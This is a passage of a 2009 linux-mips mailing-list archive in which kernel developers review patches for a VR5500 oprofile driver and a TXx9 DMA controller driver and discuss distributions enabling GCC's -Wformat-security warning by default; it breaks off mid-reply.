Gentoo, this option is enabled by default for C, C++, ObjC, ObjC++. +To disable, use @option{-Wno-format-security}, or disable all format warnings +with @option{-Wformat=0}. To make format security warnings fatal, specify +@option{-Werror=format-security}. + @item -Wformat=2 @opindex Wformat=2 @opindex Wno-format=2 --------------030302060300030401020406-- From robert.richter@amd.com Wed Feb 25 17:00:16 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 25 Feb 2009 17:00:20 +0000 (GMT) Received: from wa4ehsobe001.messaging.microsoft.com ([216.32.181.11]:49356 "EHLO WA4EHSOBE001.bigfish.com") by ftp.linux-mips.org with ESMTP id S20808545AbZBYRAQ (ORCPT ); Wed, 25 Feb 2009 17:00:16 +0000 Received: from mail187-wa4-R.bigfish.com (10.8.14.249) by WA4EHSOBE001.bigfish.com (10.8.40.21) with Microsoft SMTP Server id 8.1.340.0; Wed, 25 Feb 2009 17:00:07 +0000 Received: from mail187-wa4 (localhost.localdomain [127.0.0.1]) by mail187-wa4-R.bigfish.com (Postfix) with ESMTP id 63239108382; Wed, 25 Feb 2009 17:00:08 +0000 (UTC) X-BigFish: VPS-72(zz709fM1432R62a3L98dR936eQ1805M936fK8d0R655O13ddRzzzzz32i6bh62h) X-FB-SS: 5, Received: by mail187-wa4 (MessageSwitch) id 1235581205889666_9387; Wed, 25 Feb 2009 17:00:05 +0000 (UCT) Received: from ausb3extmailp02.amd.com (ausb3extmailp02.amd.com [163.181.251.22]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail187-wa4.bigfish.com (Postfix) with ESMTP id A31251310058; Wed, 25 Feb 2009 17:00:05 +0000 (UTC) Received: from ausb3twp01.amd.com (ausb3twp01.amd.com [163.181.250.37]) by ausb3extmailp02.amd.com (Switch-3.2.7/Switch-3.2.7) with ESMTP id n1PGxwN1020942; Wed, 25 Feb 2009 11:00:03 -0600 X-WSS-ID: 0KFMSJP-01-2R8-01 Received: from sausexbh1.amd.com (sausexbh1.amd.com [163.181.22.101]) by ausb3twp01.amd.com (Tumbleweed MailGate 3.5.1) with ESMTP id 2BCD41944F7; Wed, 25 Feb 2009 10:59:48 -0600 (CST) Received: from sausexmb5.amd.com ([163.181.49.129]) by sausexbh1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 25 Feb 2009 10:59:56 -0600 Received: from SDRSEXMB1.amd.com ([172.20.3.116]) by sausexmb5.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 25 Feb 2009 10:59:56 -0600 Received: from seurexmb1.amd.com ([165.204.82.130]) by SDRSEXMB1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 25 Feb 2009 17:59:54 +0100 Received: from erda.amd.com ([165.204.85.17]) by seurexmb1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 25 Feb 2009 17:59:53 +0100 Received: by erda.amd.com (Postfix, from userid 35569) id 909B17FF9; Wed, 25 Feb 2009 17:59:53 +0100 (CET) Date: Wed, 25 Feb 2009 17:59:53 +0100 From: Robert Richter To: Mark Asselstine , Ralf Baechle CC: linux-mips@linux-mips.org, oprofile-list@lists.sf.net Subject: Re: [PATCH] oprofile: VR5500 performance counter driver Message-ID: <20090225165953.GF25042@erda.amd.com> References: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> User-Agent: Mutt/1.5.16 (2007-06-09) X-OriginalArrivalTime: 25 Feb 2009 16:59:53.0683 (UTC) FILETIME=[7AA68230:01C9976A] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21967 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: robert.richter@amd.com Precedence: bulk X-list: linux-mips Content-Length: 8303 Lines: 286 On 23.02.09 11:26:34, Mark Asselstine wrote: > This is inspired by op_model_mipsxx.c with some modification > in regards to register layout and overflow handling. This has > been tested on a NEC VR5500 board and shown to produce sane > results. Mark, I have looked at the differences between the VR5500 code and the generic in op_model_mipsxx.c. If I am not wrong, only the interrupt handling is different. This affects only vr5500_reg_setup() and vr5500_perfcount_handler(). I think it would be better to implement cpu checks in the generic functions or remap to cpu specific functions during mipsxx_init(). This extension of the generic code is much more maintainable. Also, there is less code in the end. See also my comments below. -Robert > > Signed-off-by: Mark Asselstine > > diff --git a/arch/mips/oprofile/Makefile b/arch/mips/oprofile/Makefile > index cfd4b60..977a828 100644 > --- a/arch/mips/oprofile/Makefile > +++ b/arch/mips/oprofile/Makefile > @@ -14,4 +14,5 @@ oprofile-$(CONFIG_CPU_MIPS32) += op_model_mipsxx.o > oprofile-$(CONFIG_CPU_MIPS64) += op_model_mipsxx.o > oprofile-$(CONFIG_CPU_R10000) += op_model_mipsxx.o > oprofile-$(CONFIG_CPU_SB1) += op_model_mipsxx.o > +oprofile-$(CONFIG_CPU_VR5500) += op_model_vr5500.o I could not find a Kconfig option for this. > oprofile-$(CONFIG_CPU_RM9000) += op_model_rm9000.o > diff --git a/arch/mips/oprofile/common.c b/arch/mips/oprofile/common.c > index e1bffab..68aad99 100644 > --- a/arch/mips/oprofile/common.c > +++ b/arch/mips/oprofile/common.c > @@ -17,6 +17,7 @@ > > extern struct op_mips_model op_model_mipsxx_ops __attribute__((weak)); > extern struct op_mips_model op_model_rm9000_ops __attribute__((weak)); > +extern struct op_mips_model op_model_vr5500_ops __attribute__((weak)); > > static struct op_mips_model *model; > > @@ -94,6 +95,10 @@ int __init oprofile_arch_init(struct oprofile_operations *ops) > case CPU_RM9000: > lmodel = &op_model_rm9000_ops; > break; > + > + case CPU_R5500: > + lmodel = &op_model_vr5500_ops; > + break; Is there a reason for using _vr5500_ instead of _r5500_ for the function and the filename? > }; > > > diff --git a/arch/mips/oprofile/op_model_vr5500.c b/arch/mips/oprofile/op_model_vr5500.c > new file mode 100644 > index 0000000..75fae6a > --- /dev/null > +++ b/arch/mips/oprofile/op_model_vr5500.c > @@ -0,0 +1,179 @@ > +/* > + * This file is subject to the terms and conditions of the GNU General Public > + * License. See the file "COPYING" in the main directory of this archive > + * for more details. > + * Copyright statements from op_model_mipsxx.c should be added here. > + * Copyright (c) 2009 Wind River Systems, Inc. > + */ > +#include > +#include > +#include > +#include > +#include > + > +#include "op_impl.h" > + > +#define M_PERFCTL_EXL (1UL << 0) > +#define M_PERFCTL_KERNEL (1UL << 1) > +#define M_PERFCTL_SUPERVISOR (1UL << 2) > +#define M_PERFCTL_USER (1UL << 3) > +#define M_PERFCTL_INTERRUPT_ENABLE (1UL << 4) > +#define M_PERFCTL_INTERRUPT (1UL << 5) > +#define M_PERFCTL_EVENT(event) (((event) & 0xf) << 6) > +#define M_PERFCTL_COUNT_ENABLE (1UL << 10) > + > +#define NUM_COUNTERS 2 > + > +static int (*save_perf_irq) (void); > + > +#define __define_perf_accessors(r, n) \ > + \ > + static inline unsigned int r_c0_ ## r ## n(void) \ > + { \ > + return read_c0_ ## r ## n(); \ > + } \ > + \ > + static inline void w_c0_ ## r ## n(unsigned int value) \ > + { \ > + write_c0_ ## r ## n(value); \ > + } \ > + > +__define_perf_accessors(perfcntr, 0) > +__define_perf_accessors(perfcntr, 1) > + > +__define_perf_accessors(perfctrl, 0) > +__define_perf_accessors(perfctrl, 1) I know this code is borrowed, but why not use write/read_c0_perfXXXX() directly? > + > +struct op_mips_model op_model_vr5500_ops; > + > +static struct vr5500_register_config { > + unsigned int control[NUM_COUNTERS]; > + unsigned int counter[NUM_COUNTERS]; > +} reg; > + > +/* Compute all of the registers in preparation for enabling profiling. */ > +static void vr5500_reg_setup(struct op_counter_config *ctr) > +{ > + int i; > + unsigned int counters = NUM_COUNTERS; > + > + /* Compute the performance counter control word. */ > + for (i = 0; i < counters; i++) { > + reg.control[i] = 0; > + reg.counter[i] = 0; > + > + if (!ctr[i].enabled) > + continue; > + > + reg.control[i] = M_PERFCTL_EVENT(ctr[i].event) | > + M_PERFCTL_INTERRUPT_ENABLE | M_PERFCTL_COUNT_ENABLE; > + if (ctr[i].kernel) > + reg.control[i] |= M_PERFCTL_KERNEL; > + if (ctr[i].user) > + reg.control[i] |= M_PERFCTL_USER; > + if (ctr[i].exl) > + reg.control[i] |= M_PERFCTL_EXL; > + > + reg.counter[i] = 0xffffffff - ctr[i].count + 1; > + } > +} > + > +/* Program all of the registers in preparation for enabling profiling. */ > +static void vr5500_cpu_setup(void *args) > +{ > + w_c0_perfctrl1(0); > + w_c0_perfcntr1(reg.counter[1]); > + > + w_c0_perfctrl0(0); > + w_c0_perfcntr0(reg.counter[0]); > +} > + > +/* Start all counters on current CPU */ > +static void vr5500_cpu_start(void *args) > +{ > + w_c0_perfctrl1(reg.control[1]); > + w_c0_perfctrl0(reg.control[0]); > +} > + > +/* Stop all counters on current CPU */ > +static void vr5500_cpu_stop(void *args) > +{ > + w_c0_perfctrl1(0); > + w_c0_perfctrl0(0); > +} > + > +static int vr5500_perfcount_handler(void) > +{ > + unsigned int control; > + unsigned int counter; > + int handled = IRQ_NONE; > + unsigned int counters = NUM_COUNTERS; > + > + if (cpu_has_mips_r2 && !(read_c0_cause() & (1 << 26))) Do not use magic numbers. > + return handled; > + > + switch (counters) { Since counters is a fix value the switch/case could be removed. > + #define HANDLE_COUNTER(n) \ > + case n + 1: \ > + control = r_c0_perfctrl ## n(); \ > + counter = r_c0_perfcntr ## n(); \ > + if ((control & M_PERFCTL_INTERRUPT_ENABLE) && \ > + (control & M_PERFCTL_INTERRUPT)) { \ > + oprofile_add_sample(get_irq_regs(), n); \ > + w_c0_perfcntr ## n(reg.counter[n]); \ > + w_c0_perfctrl ## n(control & ~M_PERFCTL_INTERRUPT); \ > + handled = IRQ_HANDLED; \ > + } > + HANDLE_COUNTER(1) > + HANDLE_COUNTER(0) > + } It is hard to see a loop here. I would like to prefer programming c instead of macros unless there is a good reason to do so. Also, this causes a checkpatch error. > + > + return handled; > +} > + > +static void reset_counters(void *arg) > +{ > + w_c0_perfctrl1(0); > + w_c0_perfcntr1(0); > + > + w_c0_perfctrl0(0); > + w_c0_perfcntr0(0); > +} > + > +static int __init vr5500_init(void) > +{ > + on_each_cpu(reset_counters, NULL, 1); > + > + switch (current_cpu_type()) { > + case CPU_R5500: > + op_model_vr5500_ops.cpu_type = "mips/vr5500"; > + break; > + > + default: > + printk(KERN_ERR "Profiling unsupported for this CPU\n"); > + > + return -ENODEV; > + } > + > + save_perf_irq = perf_irq; > + perf_irq = vr5500_perfcount_handler; > + > + return 0; > +} > + > +static void vr5500_exit(void) > +{ > + on_each_cpu(reset_counters, NULL, 1); > + > + perf_irq = save_perf_irq; > +} > + > +struct op_mips_model op_model_vr5500_ops = { > + .reg_setup = vr5500_reg_setup, > + .cpu_setup = vr5500_cpu_setup, > + .init = vr5500_init, > + .exit = vr5500_exit, > + .cpu_start = vr5500_cpu_start, > + .cpu_stop = vr5500_cpu_stop, > + .num_counters = NUM_COUNTERS, Please align this vertically. > +}; > > ------------------------------------------------------------------------------ > Open Source Business Conference (OSBC), March 24-25, 2009, San Francisco, CA > -OSBC tackles the biggest issue in open source: Open Sourcing the Enterprise > -Strategies to boost innovation and cut costs with open source participation > -Receive a $600 discount off the registration fee with the source code: SFAD > http://p.sf.net/sfu/XcvMzF8H > _______________________________________________ > oprofile-list mailing list > oprofile-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/oprofile-list > -- Advanced Micro Devices, Inc. Operating System Research Center email: robert.richter@amd.com From dan.j.williams@gmail.com Thu Feb 26 01:45:31 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 01:45:35 +0000 (GMT) Received: from wa-out-1112.google.com ([209.85.146.179]:36892 "EHLO wa-out-1112.google.com") by ftp.linux-mips.org with ESMTP id S20808587AbZBZBpb convert rfc822-to-8bit (ORCPT ); Thu, 26 Feb 2009 01:45:31 +0000 Received: by wa-out-1112.google.com with SMTP id k40so150576wah.0 for ; Wed, 25 Feb 2009 17:45:28 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:sender:received:in-reply-to :references:date:x-google-sender-auth:message-id:subject:from:to:cc :content-type:content-transfer-encoding; bh=R09TYdItmrhytikZSng/0gNe2kEUYZnJDKkn4IU3yUg=; b=vJJWJO0Y/GbZREps/fJgIp4CrBk2S5HvFD565nkerZpWI/eQobeNQK7Mzq7m95SC7Z NwJNJ40VFaroNBx7Ihvv/SK/xEz17cD937tndOo4Fo6SRKwhjLtrcqwvwWdJRhPuSkAi EdPvUfygMtgu9pzLCZn99oTMMf4h2MxnsQ9bc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type :content-transfer-encoding; b=AWo+M3zeUScu+nfe0iInrhZrI63RHzq0G+xZmrJ9WIhHgL6obLyBPlpE137cT2Tzcn V1+vnjSJQ3KMdCCEd8aXUQbCalsIHEyE0nMKX+sXpJv/ZW6dr16Wy2hQk+FZItYFmGG+ CnbaBRu8uyV2A9mHcI3gOr9xGZnHpZu3M7SEg= MIME-Version: 1.0 Received: by 10.114.121.1 with SMTP id t1mr398473wac.183.1235612728538; Wed, 25 Feb 2009 17:45:28 -0800 (PST) In-Reply-To: <1234538938-23479-1-git-send-email-anemo@mba.ocn.ne.jp> References: <1234538938-23479-1-git-send-email-anemo@mba.ocn.ne.jp> Date: Wed, 25 Feb 2009 18:45:28 -0700 X-Google-Sender-Auth: 94c38c5ed00d7adc Message-ID: Subject: Re: [PATCH 1/2] dmaengine: TXx9 Soc DMA Controller driver From: Dan Williams To: Atsushi Nemoto Cc: linux-mips@linux-mips.org, ralf@linux-mips.org, "linux-kernel@vger.kernel.org" , Haavard Skinnemoen Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21968 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: dan.j.williams@intel.com Precedence: bulk X-list: linux-mips Content-Length: 6713 Lines: 188 Hi Atsushi, Some comments and questions below. I also added Haavard to the cc since he can more readily spot interesting differences between this [1] and dw_dmac which you used as a base. Regards, Dan [1] Haavard, the original post is here: http://marc.info/?l=linux-kernel&m=123453899907272&w=2 On Fri, Feb 13, 2009 at 8:28 AM, Atsushi Nemoto wrote: > This patch adds support for the integrated DMAC of the TXx9 family. > > Signed-off-by: Atsushi Nemoto > --- >  arch/mips/include/asm/txx9/dmac.h |   40 + >  drivers/dma/Kconfig               |    8 + >  drivers/dma/Makefile              |    1 + >  drivers/dma/txx9dmac.c            | 1605 +++++++++++++++++++++++++++++++++++++ >  4 files changed, 1654 insertions(+), 0 deletions(-) >  create mode 100644 arch/mips/include/asm/txx9/dmac.h >  create mode 100644 drivers/dma/txx9dmac.c > [..] > +struct txx9dmac_dev { > +       struct dma_device       dma; > +       struct dma_device       dma_memcpy; > +       void __iomem            *regs; > +#ifndef TXX9_DMA_HAVE_IRQ_PER_CHAN > +       struct tasklet_struct   tasklet; > +       int                     irq; > +#endif > +#ifdef TXX9_DMA_MAY_HAVE_64BIT_REGS > +       bool                    have_64bit_regs; > +#endif > +       unsigned int            descsize; > +       struct txx9dmac_chan    chan[TXX9_DMA_MAX_NR_CHANNELS]; > +       struct dma_chan         reserved_chan; > +}; > + > +static struct txx9dmac_chan *to_txx9dmac_chan(struct dma_chan *chan) > +{ > +       return container_of(chan, struct txx9dmac_chan, chan); > +} > + > +static struct txx9dmac_dev *to_txx9dmac_dev(struct dma_device *ddev) > +{ > +       if (ddev->device_prep_dma_memcpy) > +               return container_of(ddev, struct txx9dmac_dev, dma_memcpy); > +       return container_of(ddev, struct txx9dmac_dev, dma); > +} Can you explain why you need two dma_devices per txx9dmac_dev? My initial reaction is that it should be a bug if callers to to_txx9dmac_dev() don't know what type of channel they are holding. [..] > + > +static struct txx9dmac_desc *txx9dmac_desc_alloc(struct txx9dmac_chan *dc, > +                                                gfp_t flags) > +{ > +       struct txx9dmac_dev *ddev = to_txx9dmac_dev(dc->chan.device); > +       struct txx9dmac_desc *desc; > + > +       desc = kzalloc(sizeof(*desc), flags); > +       if (!desc) > +               return NULL; > +       dma_async_tx_descriptor_init(&desc->txd, &dc->chan); > +       desc->txd.tx_submit = txx9dmac_tx_submit; > +       desc->txd.flags = DMA_CTRL_ACK; > +       INIT_LIST_HEAD(&desc->txd.tx_list); > +       desc->txd.phys = dma_map_single(chan2parent(&dc->chan), &desc->hwdesc, > +                                       ddev->descsize, DMA_TO_DEVICE); > +       return desc; > +} By setting DMA_CTRL_ACK by default this means that async_tx can never attach attach a dependent operation to a txx9 descriptor. This may not be a problem in practice because async_tx will only do this to satisfy inter-channel dependencies. For example memcpy on chan-foo followed by xor on chan-bar. For future proofing the driver I would rely on clients properly setting the ack bit when they call ->device_prep_dma_memcpy [..] > +static void > +txx9dmac_descriptor_complete(struct txx9dmac_chan *dc, > +                            struct txx9dmac_desc *desc) > +{ > +       dma_async_tx_callback callback; > +       void *param; > +       struct dma_async_tx_descriptor *txd = &desc->txd; > +       struct txx9dmac_slave *ds = dc->chan.private; > + > +       dev_vdbg(chan2dev(&dc->chan), "descriptor %u %p complete\n", > +                txd->cookie, desc); > + > +       dc->completed = txd->cookie; > +       callback = txd->callback; > +       param = txd->callback_param; > + > +       txx9dmac_sync_desc_for_cpu(dc, desc); > +       list_splice_init(&txd->tx_list, &dc->free_list); > +       list_move(&desc->desc_node, &dc->free_list); > + > +       /* > +        * We use dma_unmap_page() regardless of how the buffers were > +        * mapped before they were submitted... > +        */ > +       if (!ds) { > +               dma_addr_t dmaaddr; > +               if (!(txd->flags & DMA_COMPL_SKIP_DEST_UNMAP)) { > +                       dmaaddr = is_dmac64(dc) ? > +                               desc->hwdesc.DAR : desc->hwdesc32.DAR; > +                       dma_unmap_page(chan2parent(&dc->chan), dmaaddr, > +                                      desc->len, DMA_FROM_DEVICE); > +               } > +               if (!(txd->flags & DMA_COMPL_SKIP_SRC_UNMAP)) { > +                       dmaaddr = is_dmac64(dc) ? > +                               desc->hwdesc.SAR : desc->hwdesc32.SAR; > +                       dma_unmap_page(chan2parent(&dc->chan), dmaaddr, > +                                      desc->len, DMA_TO_DEVICE); > +               } > +       } > + > +       /* > +        * The API requires that no submissions are done from a > +        * callback, so we don't need to drop the lock here > +        */ > +       if (callback) > +               callback(param); > +} This completion needs a call to dma_run_dependencies() for the same reason it needs to leave the ack bit clear by default. [..] > +static irqreturn_t txx9dmac_interrupt(int irq, void *dev_id) > +{ > +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN > +       struct txx9dmac_chan *dc = dev_id; > + > +       dev_vdbg(chan2dev(&dc->chan), "interrupt: status=%#x\n", > +                       channel_readl(dc, CSR)); > + > +       tasklet_schedule(&dc->tasklet); > +#else > +       struct txx9dmac_dev *ddev = dev_id; > + > +       dev_vdbg(ddev->dma.dev, "interrupt: status=%#x\n", > +                       dma_readl(ddev, MCR)); > + > +       tasklet_schedule(&ddev->tasklet); > +#endif > +       /* > +        * Just disable the interrupts. We'll turn them back on in the > +        * softirq handler. > +        */ > +       disable_irq_nosync(irq); > + > +       return IRQ_HANDLED; > +} Why do you need to disable interrupts here? [..] > +static int txx9dmac_alloc_chan_resources(struct dma_chan *chan) > +{ > +       struct txx9dmac_chan *dc = to_txx9dmac_chan(chan); > +       struct txx9dmac_dev *ddev = to_txx9dmac_dev(chan->device); > +       struct txx9dmac_slave *ds = chan->private; > +       struct txx9dmac_desc *desc; > +       int i; > + > +       dev_vdbg(chan2dev(chan), "alloc_chan_resources\n"); > + > +       if (chan == &ddev->reserved_chan) { > +               /* reserved */ > +               return 0; > +       } Can you explain how reserved channels work? It looks like you are working around the generic dma channel allocator, maybe it requires updating to meet your needs. From kumba@gentoo.org Thu Feb 26 02:49:03 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 02:49:05 +0000 (GMT) Received: from qmta09.westchester.pa.mail.comcast.net ([76.96.62.96]:28116 "EHLO QMTA09.westchester.pa.mail.comcast.net") by ftp.linux-mips.org with ESMTP id S20808607AbZBZCtD (ORCPT ); Thu, 26 Feb 2009 02:49:03 +0000 Received: from OMTA07.westchester.pa.mail.comcast.net ([76.96.62.59]) by QMTA09.westchester.pa.mail.comcast.net with comcast id LRMT1b0031GhbT859Soxsh; Thu, 26 Feb 2009 02:48:57 +0000 Received: from [192.168.1.13] ([69.140.18.238]) by OMTA07.westchester.pa.mail.comcast.net with comcast id LSow1b00R58Be2l3TSoxCu; Thu, 26 Feb 2009 02:48:57 +0000 Message-ID: <49A60310.9030900@gentoo.org> Date: Wed, 25 Feb 2009 21:48:48 -0500 From: Kumba User-Agent: Thunderbird 2.0.0.19 (Windows/20081209) MIME-Version: 1.0 To: Manuel Lauss CC: Ralf Baechle , Geert Uytterhoeven , linux-mips@linux-mips.org Subject: Re: [SOLVED] Re: GCC-4.3.3 sillyness References: <20090130074407.GA12368@roarinelk.homelinux.net> <20090131085957.399614d1@scarran.roarinelk.net> <49A4D370.3080300@gentoo.org> In-Reply-To: <49A4D370.3080300@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21969 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: kumba@gentoo.org Precedence: bulk X-list: linux-mips Content-Length: 930 Lines: 24 Kumba wrote: > > Yeah, I did some digging and it looks like we added a patch called > "10_all_gcc-default-format-security.patch" into our gcc-4.3.3 ebuild. > The patch claims it was ripped from Debian; can any Debian devs comment > on whether you guys still use this patch and what the idea behind it > is? I'm not sure if I'll find any discussion on our end as to why it's > included without finding Mike (vapier) around. Looks like Gentoo and Debian aren't alone. This was discussed on lkml because other mainstream distros are enabling it as a default as well, so the proposed solution is to just disable the format check in the kernel: http://lkml.org/lkml/2009/2/4/259 -- Joshua Kinard Gentoo/MIPS kumba@gentoo.org "The past tempts us, the present confuses us, the future frightens us. And our lives slip away, moment by moment, lost in that vast, terrible in-between." --Emperor Turhan, Centauri Republic From ralf@h5.dl5rb.org.uk Thu Feb 26 14:35:52 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 14:35:55 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:9104 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20808662AbZBZOfw (ORCPT ); Thu, 26 Feb 2009 14:35:52 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1QEZn5c029204; Thu, 26 Feb 2009 14:35:49 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1QEZg0j029202; Thu, 26 Feb 2009 14:35:42 GMT Date: Thu, 26 Feb 2009 14:35:42 +0000 From: Ralf Baechle To: Florian Fainelli Cc: Manuel Lauss , Linux-MIPS Subject: Re: [PATCH] au1000: convert to using gpiolib Message-ID: <20090226143542.GA29194@linux-mips.org> References: <200901151646.49591.florian@openwrt.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200901151646.49591.florian@openwrt.org> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21971 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 162 Lines: 7 On Thu, Jan 15, 2009 at 04:46:48PM +0100, Florian Fainelli wrote: > This patch converts the GPIO board code to use gpiolib. Queued for 2.6.30. Thanks! Ralf From anemo@mba.ocn.ne.jp Thu Feb 26 15:24:34 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 15:24:37 +0000 (GMT) Received: from mba.ocn.ne.jp ([122.1.235.107]:30924 "HELO smtp.mba.ocn.ne.jp") by ftp.linux-mips.org with SMTP id S20808668AbZBZPYe convert rfc822-to-8bit (ORCPT ); Thu, 26 Feb 2009 15:24:34 +0000 Received: from localhost (p1253-ipad211funabasi.chiba.ocn.ne.jp [58.91.157.253]) by smtp.mba.ocn.ne.jp (Postfix) with ESMTP id AA2E0A99E; Fri, 27 Feb 2009 00:24:27 +0900 (JST) Date: Fri, 27 Feb 2009 00:24:36 +0900 (JST) Message-Id: <20090227.002436.106263719.anemo@mba.ocn.ne.jp> To: dan.j.williams@intel.com Cc: linux-mips@linux-mips.org, ralf@linux-mips.org, linux-kernel@vger.kernel.org, haavard.skinnemoen@atmel.com Subject: Re: [PATCH 1/2] dmaengine: TXx9 Soc DMA Controller driver From: Atsushi Nemoto In-Reply-To: References: <1234538938-23479-1-git-send-email-anemo@mba.ocn.ne.jp> X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A B746 CA77 FE94 2874 D52F X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F X-Mailer: Mew version 5.2 on Emacs 21.4 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21972 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: anemo@mba.ocn.ne.jp Precedence: bulk X-list: linux-mips Content-Length: 5453 Lines: 138 On Wed, 25 Feb 2009 18:45:28 -0700, Dan Williams wrote: > Some comments and questions below. Thank you for review. > > +static struct txx9dmac_dev *to_txx9dmac_dev(struct dma_device *ddev) > > +{ > > +       if (ddev->device_prep_dma_memcpy) > > +               return container_of(ddev, struct txx9dmac_dev, dma_memcpy); > > +       return container_of(ddev, struct txx9dmac_dev, dma); > > +} > > Can you explain why you need two dma_devices per txx9dmac_dev? My > initial reaction is that it should be a bug if callers to > to_txx9dmac_dev() don't know what type of channel they are holding. I created two dma_devices: one for private slave dma channels and one for public memcpy channel. I will explain later in this mail. > > +       dma_async_tx_descriptor_init(&desc->txd, &dc->chan); > > +       desc->txd.tx_submit = txx9dmac_tx_submit; > > +       desc->txd.flags = DMA_CTRL_ACK; > > +       INIT_LIST_HEAD(&desc->txd.tx_list); > > +       desc->txd.phys = dma_map_single(chan2parent(&dc->chan), &desc->hwdesc, > > +                                       ddev->descsize, DMA_TO_DEVICE); > > +       return desc; > > +} > > By setting DMA_CTRL_ACK by default this means that async_tx can never > attach attach a dependent operation to a txx9 descriptor. This may > not be a problem in practice because async_tx will only do this to > satisfy inter-channel dependencies. For example memcpy on chan-foo > followed by xor on chan-bar. For future proofing the driver I would > rely on clients properly setting the ack bit when they call > ->device_prep_dma_memcpy The desc->txd.flags will be overwritten in txx9dmac_prep_xxx. The reason setting DMA_CTRL_ACK here is to make the desc can be pulled from freelist in txx9dmac_desc_get(). Maybe I should move this DMA_CTRL_ACK setting to txx9dmac_desc_put()? > > +       /* > > +        * The API requires that no submissions are done from a > > +        * callback, so we don't need to drop the lock here > > +        */ > > +       if (callback) > > +               callback(param); > > +} > > This completion needs a call to dma_run_dependencies() for the same > reason it needs to leave the ack bit clear by default. OK, I will do. > > +static irqreturn_t txx9dmac_interrupt(int irq, void *dev_id) > > +{ > > +#ifdef TXX9_DMA_HAVE_IRQ_PER_CHAN > > +       struct txx9dmac_chan *dc = dev_id; > > + > > +       dev_vdbg(chan2dev(&dc->chan), "interrupt: status=%#x\n", > > +                       channel_readl(dc, CSR)); > > + > > +       tasklet_schedule(&dc->tasklet); > > +#else > > +       struct txx9dmac_dev *ddev = dev_id; > > + > > +       dev_vdbg(ddev->dma.dev, "interrupt: status=%#x\n", > > +                       dma_readl(ddev, MCR)); > > + > > +       tasklet_schedule(&ddev->tasklet); > > +#endif > > +       /* > > +        * Just disable the interrupts. We'll turn them back on in the > > +        * softirq handler. > > +        */ > > +       disable_irq_nosync(irq); > > + > > +       return IRQ_HANDLED; > > +} > > Why do you need to disable interrupts here? Because interrupts are not cleared until txx9dmac_tasklet() calls txx9dmac_scan_descriptors() and it writes to CSR. Touching CSR in txx9dmac_interrupt() seems bad while dc->lock spinlock does not protect from interrupts. I chose calling disable_irq here instead of replace all spin_lock with spin_lock_irqsave. > > +       dev_vdbg(chan2dev(chan), "alloc_chan_resources\n"); > > + > > +       if (chan == &ddev->reserved_chan) { > > +               /* reserved */ > > +               return 0; > > +       } > > Can you explain how reserved channels work? 